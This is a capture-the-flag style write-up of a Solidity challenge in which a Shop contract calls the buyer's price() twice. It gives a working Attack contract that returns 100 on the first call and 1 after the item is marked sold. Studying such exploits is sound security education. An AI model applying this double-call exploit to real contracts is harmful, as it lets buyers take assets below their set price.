Skip to main content

Buy_Less_Price


🚩


Challenge

The Shop contract calls Buyer.price() two times inside buy(). Since the return value can depend on state changes (like isSold), the attacker can return different values for each call. This breaks the assumption that the price stays the same.

Taks

We need to exploit the logic of the Shop contract so that the item is marked as sold, but the final price is less than 100.
We are allowed to interact through a custom contract that implements the Buyer interface.


Attack Flow

  1. Deploy the Attack contract with the target Shop contract’s address.

  2. Call buy() from the Attack contract.

  3. Inside Shop’s buy():

    • First call to price() → Attack returns 100 (since isSold == false).
    • Condition passes (100 >= 100 && !isSold).
    • isSold is set to true.
  4. Shop calls price() again:

    • Attack returns 1 (since now isSold == true).
    • Shop updates its price to 1.

Given Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint256);
}

contract Shop {
uint256 public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

Attack Contract

contract Attack is Buyer {
Shop public shop;

constructor(address _shopAddress) {
shop = Shop(_shopAddress);
}

function price() external view override returns (uint256) {
return shop.isSold() ? 1 : 100;
}

function buy() public {
shop.buy();
}
}

Explanation ?

We created a contract that acts as the Buyer. The Shop contract checks the price two times inside the buy() function:

  • First: price() is used to check if the returned value is greater than or equal to price.
  • Second: price() is called again to update the internal price variable.

In our Attack contract:

  • When shop.isSold() is false (before the item is sold), we return 100.
  • After the first check, isSold is set to true.
  • Then on the second call, we return 1.

This way:

  • We successfully pass the first condition by returning 100.
  • Then we set the shop's internal price to 1.

Outcome

  • The item is marked as sold.
  • The shop's price becomes 1.
  • The buyer gets the item for less than the original price (100).